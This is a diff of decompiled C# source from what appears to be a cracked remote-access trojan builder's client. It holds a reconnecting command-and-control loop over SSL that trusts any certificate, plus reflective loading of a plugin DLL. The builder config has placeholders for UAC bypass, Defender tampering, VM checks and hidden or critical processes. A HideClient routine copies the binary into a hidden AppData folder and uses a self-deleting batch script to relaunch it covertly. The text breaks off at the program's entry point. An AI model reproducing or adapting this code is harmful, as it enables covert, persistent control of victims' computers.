internal class Supervisor
|
||||
{
|
||||
private readonly SillyClient owner;
|
||||
private CancellationTokenSource cts;
|
||||
private Task loopTask;
|
||||
private TcpClient tcpClient;
|
||||
private SslStream sslStream;
|
||||
|
||||
internal PacketReader Reader { get; private set; }
|
||||
|
||||
internal PacketSender Sender { get; private set; }
|
||||
|
||||
internal ClientState State { get; private set; }
|
||||
|
||||
internal Supervisor(SillyClient client) => this.owner = client;
|
||||
|
||||
internal void Start()
|
||||
{
|
||||
if (this.loopTask != null && !this.loopTask.IsCompleted)
|
||||
return;
|
||||
this.cts = new CancellationTokenSource();
|
||||
this.loopTask = Task.Run((Func<Task>) (() => this.Run(this.cts.Token)));
|
||||
}
|
||||
|
||||
internal void Stop()
|
||||
{
|
||||
this.State = ClientState.Disconnecting;
|
||||
this.cts?.Cancel();
|
||||
this.Cleanup();
|
||||
this.State = ClientState.Disconnected;
|
||||
}
|
||||
|
||||
private async Task Run(CancellationToken token)
|
||||
{
|
||||
Supervisor supervisor1 = this;
|
||||
int backoff = Config.Reconnect;
|
||||
while (!token.IsCancellationRequested)
|
||||
{
|
||||
try
|
||||
{
|
||||
Supervisor supervisor = supervisor1;
|
||||
supervisor1.State = ClientState.Connecting;
|
||||
supervisor1.LogInfo("Connecting to server...");
|
||||
BlockingCollection<byte[]> packetQueue = await supervisor1.OpenConnection(token).ConfigureAwait(false);
|
||||
supervisor1.State = ClientState.Connected;
|
||||
backoff = Config.Delay;
|
||||
supervisor1.LogInfo("Connected successfully");
|
||||
supervisor1.InfoStuff();
|
||||
CancellationTokenSource processCts = CancellationTokenSource.CreateLinkedTokenSource(token);
|
||||
Task processorTask = Task.Run((Action) (() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
foreach (byte[] consuming in packetQueue.GetConsumingEnumerable(processCts.Token))
|
||||
{
|
||||
try
|
||||
{
|
||||
supervisor.owner.HandlePacket.Run(consuming);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
supervisor.LogError("Packet handling error: " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (OperationCanceledException ex)
|
||||
{
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
supervisor.LogError("Processor task error: " + ex.Message);
|
||||
}
|
||||
}), processCts.Token);
|
||||
await supervisor1.Reader.Run(processCts.Token).ConfigureAwait(false);
|
||||
supervisor1.LogInfo("Connection lost, cleaning up...");
|
||||
processCts.Cancel();
|
||||
try
|
||||
{
|
||||
await processorTask.ConfigureAwait(false);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
processorTask = (Task) null;
|
||||
}
|
||||
catch (OperationCanceledException ex)
|
||||
{
|
||||
supervisor1.LogInfo("Supervisor cancelled");
|
||||
break;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
supervisor1.LogError("Connection error: " + ex.Message);
|
||||
supervisor1.Cleanup();
|
||||
supervisor1.State = ClientState.Disconnected;
|
||||
try
|
||||
{
|
||||
supervisor1.LogInfo($"Reconnecting in {backoff}ms...");
|
||||
await Task.Delay(backoff, token).ConfigureAwait(false);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
backoff = Math.Min(backoff * 2, 15000);
|
||||
}
|
||||
}
|
||||
supervisor1.Cleanup();
|
||||
supervisor1.LogInfo("Supervisor stopped");
|
||||
}
|
||||
|
||||
private async Task InfoStuff()
|
||||
{
|
||||
if (this.owner.HandlePacket != null && this.owner.HandlePacket.IsDllLoaded)
|
||||
{
|
||||
if (this.owner.HandlePacket.DllAssembly != (Assembly) null)
|
||||
{
|
||||
try
|
||||
{
|
||||
MethodInfo method = this.owner.HandlePacket.DllAssembly.GetType("Core.EntryPoint", false, true)?.GetMethod("SendInfo", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
||||
if (method != (MethodInfo) null)
|
||||
{
|
||||
ClientBridge clientBridge = new ClientBridge(this.owner);
|
||||
method.Invoke((object) null, new object[1]
|
||||
{
|
||||
(object) clientBridge
|
||||
});
|
||||
return;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.LogError("InfoStuff DLL error: " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "DLLStart");
|
||||
this.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private async Task<BlockingCollection<byte[]>> OpenConnection(CancellationToken token)
|
||||
{
|
||||
string host;
|
||||
int port;
|
||||
this.ResolveHostAndPort(out host, out port);
|
||||
IPAddress[] hostAddressesAsync = await Dns.GetHostAddressesAsync(host);
|
||||
Array.Sort<IPAddress>(hostAddressesAsync, (Comparison<IPAddress>) ((a, b) => a.AddressFamily != AddressFamily.InterNetwork ? 1 : -1));
|
||||
Exception exception = (Exception) null;
|
||||
IPAddress[] ipAddressArray = hostAddressesAsync;
|
||||
for (int index = 0; index < ipAddressArray.Length; ++index)
|
||||
{
|
||||
IPAddress address = ipAddressArray[index];
|
||||
BlockingCollection<byte[]> blockingCollection;
|
||||
try
|
||||
{
|
||||
this.tcpClient = new TcpClient(address.AddressFamily);
|
||||
if (address.AddressFamily == AddressFamily.InterNetworkV6)
|
||||
this.tcpClient.Client.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.IPv6Only, false);
|
||||
this.tcpClient.NoDelay = true;
|
||||
Supervisor.SetKeepAlive(this.tcpClient.Client, 25000U, 25000U);
|
||||
this.LogInfo($"Attempting connection to {address}:{port}...");
|
||||
Task connectTask = this.tcpClient.ConnectAsync(address, port);
|
||||
Task task = Task.Delay(10000, token);
|
||||
if (await Task.WhenAny(connectTask, task) != connectTask)
|
||||
throw new TimeoutException("Connection timeout");
|
||||
this.sslStream = new SslStream((Stream) this.tcpClient.GetStream(), false, (RemoteCertificateValidationCallback) ((sender, cert, chain, errors) => true));
|
||||
await this.sslStream.AuthenticateAsClientAsync(host);
|
||||
BlockingCollection<byte[]> targetQueue = new BlockingCollection<byte[]>((IProducerConsumerCollection<byte[]>) new ConcurrentQueue<byte[]>(), 5000);
|
||||
this.Reader = new PacketReader(this.sslStream, targetQueue);
|
||||
this.Sender = new PacketSender(this.sslStream);
|
||||
this.LogInfo("SSL authentication successful");
|
||||
blockingCollection = targetQueue;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.LogError("Connection attempt failed: " + ex.Message);
|
||||
exception = ex;
|
||||
this.Cleanup();
|
||||
continue;
|
||||
}
|
||||
host = (string) null;
|
||||
return blockingCollection;
|
||||
}
|
||||
ipAddressArray = (IPAddress[]) null;
|
||||
throw exception ?? new Exception("Unable to connect");
|
||||
}
|
||||
|
||||
private static void SetKeepAlive(Socket socket, uint timeMs, uint intervalMs)
|
||||
{
|
||||
byte[] optionInValue = new byte[12];
|
||||
BitConverter.GetBytes(1U).CopyTo((Array) optionInValue, 0);
|
||||
BitConverter.GetBytes(timeMs).CopyTo((Array) optionInValue, 4);
|
||||
BitConverter.GetBytes(intervalMs).CopyTo((Array) optionInValue, 8);
|
||||
socket.IOControl(IOControlCode.KeepAliveValues, optionInValue, (byte[]) null);
|
||||
}
|
||||
|
||||
private void Cleanup()
|
||||
{
|
||||
try
|
||||
{
|
||||
this.Reader?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
this.Sender?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
this.sslStream?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
this.tcpClient?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
this.Reader = (PacketReader) null;
|
||||
this.Sender = (PacketSender) null;
|
||||
this.sslStream = (SslStream) null;
|
||||
this.tcpClient = (TcpClient) null;
|
||||
}
|
||||
|
||||
private void ResolveHostAndPort(out string host, out int port)
|
||||
{
|
||||
host = Config.ht;
|
||||
port = Config.pt;
|
||||
if (string.IsNullOrWhiteSpace(host))
|
||||
return;
|
||||
string str1 = host.Trim();
|
||||
if (str1.StartsWith("http://", StringComparison.OrdinalIgnoreCase))
|
||||
str1 = str1.Substring(7);
|
||||
else if (str1.StartsWith("https://", StringComparison.OrdinalIgnoreCase))
|
||||
str1 = str1.Substring(8);
|
||||
int length = str1.LastIndexOf(':');
|
||||
if (length <= 0 || length >= str1.Length - 1)
|
||||
return;
|
||||
string str2 = str1.Substring(0, length);
|
||||
int result;
|
||||
if (!int.TryParse(str1.Substring(length + 1), out result))
|
||||
return;
|
||||
host = str2;
|
||||
port = result;
|
||||
}
|
||||
|
||||
internal Task Send(byte[] data)
|
||||
{
|
||||
PacketSender sender = this.Sender;
|
||||
return sender == null ? Task.CompletedTask : sender.Send(data);
|
||||
}
|
||||
|
||||
private void LogInfo(string message)
|
||||
{
|
||||
try
|
||||
{
|
||||
Console.WriteLine(string.Format("[Supervisor] {0:HH:mm:ss} - {1}", (object) DateTime.Now, (object) message));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void LogError(string message)
|
||||
{
|
||||
try
|
||||
{
|
||||
Console.WriteLine(string.Format("[Supervisor ERROR] {0:HH:mm:ss} - {1}", (object) DateTime.Now, (object) message));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ClientBridge
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
using Stuff;
|
||||
|
||||
#nullable disable
|
||||
public class ClientBridge : IClientBridge
|
||||
{
|
||||
private readonly SillyClient _client;
|
||||
|
||||
public string UID { get; private set; }
|
||||
|
||||
public ClientBridge(SillyClient client)
|
||||
{
|
||||
this._client = client;
|
||||
this.Version = Config.Version;
|
||||
this.Mutex = Config.Mutex;
|
||||
this.Port = Config.pt;
|
||||
this.Host = Config.ht;
|
||||
this.Startup = Config.Startup;
|
||||
this.Delay = Config.Delay;
|
||||
this.ProcessCritical = Config.ProcessCritical;
|
||||
this.HideFile = Config.HideFile;
|
||||
this.Box = Config.Box;
|
||||
this.BoxMsg = Config.BoxMsg;
|
||||
this.BoxIcon = Config.BoxIcon;
|
||||
this.UAC = Config.UAC;
|
||||
this.Assist = Config.Assist;
|
||||
this.OpenWebsite = Config.OpenWebsite;
|
||||
this.Website = Config.Website;
|
||||
this.VM = Config.VM;
|
||||
this.Tag = Config.Tag;
|
||||
this.BoxTit = Config.BoxTit;
|
||||
this.HidProc = Config.HidProc;
|
||||
this.UACBy = Config.UACBy;
|
||||
this.Password = Config.Password;
|
||||
this.Raw = Config.Raw;
|
||||
this.Reconnect = Config.Reconnect;
|
||||
this.Defender = Config.Defender;
|
||||
}
|
||||
|
||||
public void Send(byte[] data) => this._client.Send(data);
|
||||
|
||||
public string Version { get; }
|
||||
|
||||
public string Mutex { get; }
|
||||
|
||||
public int Port { get; }
|
||||
|
||||
public string Host { get; }
|
||||
|
||||
public bool Startup { get; }
|
||||
|
||||
public int Delay { get; }
|
||||
|
||||
public bool ProcessCritical { get; }
|
||||
|
||||
public bool HideFile { get; }
|
||||
|
||||
public bool Box { get; }
|
||||
|
||||
public string BoxMsg { get; }
|
||||
|
||||
public string BoxIcon { get; }
|
||||
|
||||
public bool UAC { get; }
|
||||
|
||||
public bool Assist { get; }
|
||||
|
||||
public bool OpenWebsite { get; }
|
||||
|
||||
public string Website { get; }
|
||||
|
||||
public bool VM { get; }
|
||||
|
||||
public string Tag { get; }
|
||||
|
||||
public string BoxTit { get; }
|
||||
|
||||
public bool HidProc { get; }
|
||||
|
||||
public bool UACBy { get; }
|
||||
|
||||
public string Password { get; }
|
||||
|
||||
public string Raw { get; }
|
||||
|
||||
public int Reconnect { get; }
|
||||
|
||||
public bool Defender { get; }
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Client_ProcessedByFody
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
#nullable disable
|
||||
internal class Client_ProcessedByFody
|
||||
{
|
||||
internal const string FodyVersion = "6.9.3.0";
|
||||
internal const string Costura = "6.0.0";
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Config
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
using System;
|
||||
|
||||
#nullable disable
|
||||
internal class Config
|
||||
{
|
||||
public static string Version = "v4.0.0";
|
||||
public static string Mutex = "silly1";
|
||||
public static int pt = Convert.ToInt32("silly3");
|
||||
public static string ht = "silly2";
|
||||
public static bool Startup = Convert.ToBoolean("silly4");
|
||||
public static int Delay = Convert.ToInt32("silly5");
|
||||
public static bool ProcessCritical = Convert.ToBoolean("silly6");
|
||||
public static bool HideFile = Convert.ToBoolean("silly7");
|
||||
public static bool Box = Convert.ToBoolean("silly8");
|
||||
public static string BoxMsg = "silly9";
|
||||
public static string BoxIcon = "silly10";
|
||||
public static bool UAC = Convert.ToBoolean("silly11");
|
||||
public static bool Assist = false;
|
||||
public static bool OpenWebsite = Convert.ToBoolean("silly13");
|
||||
public static string Website = "silly14";
|
||||
public static bool VM = Convert.ToBoolean("silly15");
|
||||
public static string Tag = "silly16";
|
||||
public static string BoxTit = "silly17";
|
||||
public static bool HidProc = Convert.ToBoolean("silly18");
|
||||
public static bool UACBy = false;
|
||||
public static string Password = "silly20";
|
||||
public static string Raw = "silly21";
|
||||
public static int Reconnect = Convert.ToInt32("silly22");
|
||||
public static bool Defender = Convert.ToBoolean("silly23");
|
||||
}
|
||||
@@ -0,0 +1,209 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Costura.AssemblyLoader
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
|
||||
#nullable disable
|
||||
namespace Costura;
|
||||
|
||||
[CompilerGenerated]
|
||||
internal static class AssemblyLoader
|
||||
{
|
||||
private static object nullCacheLock = new object();
|
||||
private static Dictionary<string, bool> nullCache = new Dictionary<string, bool>();
|
||||
private static Dictionary<string, string> assemblyNames = new Dictionary<string, string>();
|
||||
private static Dictionary<string, string> symbolNames = new Dictionary<string, string>();
|
||||
private static int isAttached;
|
||||
|
||||
private static string CultureToString(CultureInfo culture)
|
||||
{
|
||||
return culture == null ? string.Empty : culture.Name;
|
||||
}
|
||||
|
||||
private static Assembly ReadExistingAssembly(AssemblyName name)
|
||||
{
|
||||
foreach (Assembly assembly in AppDomain.CurrentDomain.GetAssemblies())
|
||||
{
|
||||
AssemblyName name1 = assembly.GetName();
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
if (string.Equals(name1.Name, name.Name, StringComparison.InvariantCultureIgnoreCase) && string.Equals(AssemblyLoader.CultureToString(name1.CultureInfo), AssemblyLoader.CultureToString(name.CultureInfo), StringComparison.InvariantCultureIgnoreCase))
|
||||
return assembly;
|
||||
}
|
||||
return (Assembly) null;
|
||||
}
|
||||
|
||||
private static string GetAssemblyResourceName(AssemblyName requestedAssemblyName)
|
||||
{
|
||||
string lowerInvariant = requestedAssemblyName.Name.ToLowerInvariant();
|
||||
if (requestedAssemblyName.CultureInfo != null && !string.IsNullOrEmpty(requestedAssemblyName.CultureInfo.Name))
|
||||
{
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
lowerInvariant = $"{AssemblyLoader.CultureToString(requestedAssemblyName.CultureInfo)}.{lowerInvariant}".ToLowerInvariant();
|
||||
}
|
||||
return lowerInvariant;
|
||||
}
|
||||
|
||||
private static void CopyTo(Stream source, Stream destination)
|
||||
{
|
||||
byte[] buffer = new byte[81920 /*0x014000*/];
|
||||
int count;
|
||||
while ((count = source.Read(buffer, 0, buffer.Length)) != 0)
|
||||
destination.Write(buffer, 0, count);
|
||||
}
|
||||
|
||||
private static Stream LoadStream(string fullName)
|
||||
{
|
||||
Assembly executingAssembly = Assembly.GetExecutingAssembly();
|
||||
if (!fullName.EndsWith(".compressed"))
|
||||
return executingAssembly.GetManifestResourceStream(fullName);
|
||||
using (Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(fullName))
|
||||
{
|
||||
using (DeflateStream source = new DeflateStream(manifestResourceStream, CompressionMode.Decompress))
|
||||
{
|
||||
MemoryStream destination = new MemoryStream();
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
AssemblyLoader.CopyTo((Stream) source, (Stream) destination);
|
||||
destination.Position = 0L;
|
||||
return (Stream) destination;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static Stream LoadStream(Dictionary<string, string> resourceNames, string name)
|
||||
{
|
||||
string fullName;
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
return resourceNames.TryGetValue(name, out fullName) ? AssemblyLoader.LoadStream(fullName) : (Stream) null;
|
||||
}
|
||||
|
||||
private static byte[] ReadStream(Stream stream)
|
||||
{
|
||||
byte[] buffer = new byte[stream.Length];
|
||||
stream.Read(buffer, 0, buffer.Length);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
private static Assembly ReadFromEmbeddedResources(
|
||||
Dictionary<string, string> assemblyNames,
|
||||
Dictionary<string, string> symbolNames,
|
||||
AssemblyName requestedAssemblyName)
|
||||
{
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
string assemblyResourceName = AssemblyLoader.GetAssemblyResourceName(requestedAssemblyName);
|
||||
byte[] rawAssembly;
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
using (Stream stream = AssemblyLoader.LoadStream(assemblyNames, assemblyResourceName))
|
||||
{
|
||||
if (stream == null)
|
||||
return (Assembly) null;
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
rawAssembly = AssemblyLoader.ReadStream(stream);
|
||||
}
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
using (Stream stream = AssemblyLoader.LoadStream(symbolNames, assemblyResourceName))
|
||||
{
|
||||
if (stream != null)
|
||||
{
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
byte[] rawSymbolStore = AssemblyLoader.ReadStream(stream);
|
||||
return Assembly.Load(rawAssembly, rawSymbolStore);
|
||||
}
|
||||
}
|
||||
return Assembly.Load(rawAssembly);
|
||||
}
|
||||
|
||||
public static Assembly ResolveAssembly(object sender, ResolveEventArgs e)
|
||||
{
|
||||
string name = e.Name;
|
||||
AssemblyName assemblyName = new AssemblyName(name);
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
lock (AssemblyLoader.nullCacheLock)
|
||||
{
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
if (AssemblyLoader.nullCache.ContainsKey(name))
|
||||
return (Assembly) null;
|
||||
}
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
Assembly assembly1 = AssemblyLoader.ReadExistingAssembly(assemblyName);
|
||||
if ((object) assembly1 != null)
|
||||
return assembly1;
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
Assembly assembly2 = AssemblyLoader.ReadFromEmbeddedResources(AssemblyLoader.assemblyNames, AssemblyLoader.symbolNames, assemblyName);
|
||||
if ((object) assembly2 == null)
|
||||
{
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
lock (AssemblyLoader.nullCacheLock)
|
||||
{
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
AssemblyLoader.nullCache[name] = true;
|
||||
}
|
||||
if ((assemblyName.Flags & AssemblyNameFlags.Retargetable) != AssemblyNameFlags.None)
|
||||
assembly2 = Assembly.Load(assemblyName);
|
||||
}
|
||||
return assembly2;
|
||||
}
|
||||
|
||||
static AssemblyLoader()
|
||||
{
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
AssemblyLoader.assemblyNames.Add("costura", "costura.costura.dll.compressed");
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
AssemblyLoader.symbolNames.Add("costura", "costura.costura.pdb.compressed");
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
AssemblyLoader.assemblyNames.Add("messagepacklib", "costura.messagepacklib.dll.compressed");
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
AssemblyLoader.assemblyNames.Add("system.buffers", "costura.system.buffers.dll.compressed");
|
||||
}
|
||||
|
||||
public static void Attach(bool subscribe)
|
||||
{
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
if (Interlocked.Exchange(ref AssemblyLoader.isAttached, 1) == 1 || !subscribe)
|
||||
return;
|
||||
AppDomain.CurrentDomain.AssemblyResolve += (ResolveEventHandler) ((sender, e) =>
|
||||
{
|
||||
string name = e.Name;
|
||||
AssemblyName assemblyName = new AssemblyName(name);
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
lock (AssemblyLoader.nullCacheLock)
|
||||
{
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
if (AssemblyLoader.nullCache.ContainsKey(name))
|
||||
return (Assembly) null;
|
||||
}
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
Assembly assembly1 = AssemblyLoader.ReadExistingAssembly(assemblyName);
|
||||
if ((object) assembly1 != null)
|
||||
return assembly1;
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
Assembly assembly2 = AssemblyLoader.ReadFromEmbeddedResources(AssemblyLoader.assemblyNames, AssemblyLoader.symbolNames, assemblyName);
|
||||
if ((object) assembly2 == null)
|
||||
{
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
lock (AssemblyLoader.nullCacheLock)
|
||||
{
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
AssemblyLoader.nullCache[name] = true;
|
||||
}
|
||||
if ((assemblyName.Flags & AssemblyNameFlags.Retargetable) != AssemblyNameFlags.None)
|
||||
assembly2 = Assembly.Load(assemblyName);
|
||||
}
|
||||
return assembly2;
|
||||
});
|
||||
}
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,120 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: HideClient
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Threading;
|
||||
|
||||
#nullable disable
|
||||
public static class HideClient
|
||||
{
|
||||
public static void Execute()
|
||||
{
|
||||
string str1 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "PlatformRuntime");
|
||||
string location = Assembly.GetExecutingAssembly().Location;
|
||||
string str2 = Path.Combine(str1, Path.GetFileName(location));
|
||||
try
|
||||
{
|
||||
if (Path.GetDirectoryName(location).Equals(str1, StringComparison.OrdinalIgnoreCase))
|
||||
return;
|
||||
if (!Directory.Exists(str1))
|
||||
{
|
||||
Directory.CreateDirectory(str1);
|
||||
new DirectoryInfo(str1).Attributes |= FileAttributes.Hidden | FileAttributes.System;
|
||||
}
|
||||
if (!File.Exists(str2) || !HideClient.FilesAreEqual(location, str2))
|
||||
{
|
||||
File.Copy(location, str2, true);
|
||||
File.SetAttributes(str2, FileAttributes.Hidden | FileAttributes.System);
|
||||
}
|
||||
string str3 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Temp");
|
||||
if (!Directory.Exists(str3))
|
||||
Directory.CreateDirectory(str3);
|
||||
string path = Path.Combine(str3, $"cleanup_{Helpers.Random()}.bat");
|
||||
using (StreamWriter streamWriter = new StreamWriter(path))
|
||||
{
|
||||
streamWriter.WriteLine("@echo off");
|
||||
streamWriter.WriteLine("chcp 65001 > nul");
|
||||
streamWriter.WriteLine("timeout /t 2 /nobreak > nul");
|
||||
streamWriter.WriteLine(":RETRY");
|
||||
streamWriter.WriteLine($"if exist \"{location}\" (");
|
||||
streamWriter.WriteLine($" del /f /q \"{location}\" 2>nul");
|
||||
streamWriter.WriteLine($" if exist \"{location}\" (");
|
||||
streamWriter.WriteLine(" timeout /t 1 /nobreak > nul");
|
||||
streamWriter.WriteLine(" goto RETRY");
|
||||
streamWriter.WriteLine(" )");
|
||||
streamWriter.WriteLine(")");
|
||||
streamWriter.WriteLine($"start \"\" \"{str2}\"");
|
||||
streamWriter.WriteLine("timeout /t 1 /nobreak > nul");
|
||||
streamWriter.WriteLine($"del /f /q \"{path}\" 2>nul");
|
||||
streamWriter.WriteLine("exit");
|
||||
}
|
||||
Process.Start(new ProcessStartInfo()
|
||||
{
|
||||
FileName = path,
|
||||
CreateNoWindow = true,
|
||||
UseShellExecute = false,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
});
|
||||
Thread.Sleep(500);
|
||||
Environment.Exit(0);
|
||||
}
|
||||
catch (UnauthorizedAccessException ex)
|
||||
{
|
||||
HideClient.TryAlternativeLocation();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static bool FilesAreEqual(string file1, string file2)
|
||||
{
|
||||
try
|
||||
{
|
||||
FileInfo fileInfo1 = new FileInfo(file1);
|
||||
FileInfo fileInfo2 = new FileInfo(file2);
|
||||
return fileInfo1.Length == fileInfo2.Length && fileInfo1.LastWriteTimeUtc == fileInfo2.LastWriteTimeUtc;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private static void TryAlternativeLocation()
|
||||
{
|
||||
try
|
||||
{
|
||||
string str1 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "PlatformRuntime");
|
||||
string location = Assembly.GetExecutingAssembly().Location;
|
||||
string str2 = Path.Combine(str1, Path.GetFileName(location));
|
||||
if (!Directory.Exists(str1))
|
||||
{
|
||||
Directory.CreateDirectory(str1);
|
||||
new DirectoryInfo(str1).Attributes |= FileAttributes.Hidden;
|
||||
}
|
||||
if (File.Exists(str2))
|
||||
return;
|
||||
File.Copy(location, str2, true);
|
||||
File.SetAttributes(str2, FileAttributes.Hidden);
|
||||
Process.Start(new ProcessStartInfo()
|
||||
{
|
||||
FileName = str2,
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true
|
||||
});
|
||||
Thread.Sleep(500);
|
||||
Environment.Exit(0);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MutexControl
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
using System.Threading;
|
||||
|
||||
#nullable disable
|
||||
internal class MutexControl
|
||||
{
|
||||
public static Mutex meow;
|
||||
|
||||
public static bool CreateMutex()
|
||||
{
|
||||
bool createdNew;
|
||||
MutexControl.meow = new Mutex(false, Config.Mutex, out createdNew);
|
||||
return createdNew;
|
||||
}
|
||||
|
||||
public static void CloseMutex()
|
||||
{
|
||||
if (MutexControl.meow == null)
|
||||
return;
|
||||
MutexControl.meow.Close();
|
||||
MutexControl.meow = (Mutex) null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,156 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Program
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
using Microsoft.Win32;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Security.Principal;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
internal static class Program
|
||||
{
|
||||
public static SillyClient client;
|
||||
|
||||
[STAThread]
|
||||
private static void Main(string[] args)
|
||||
{
|
||||
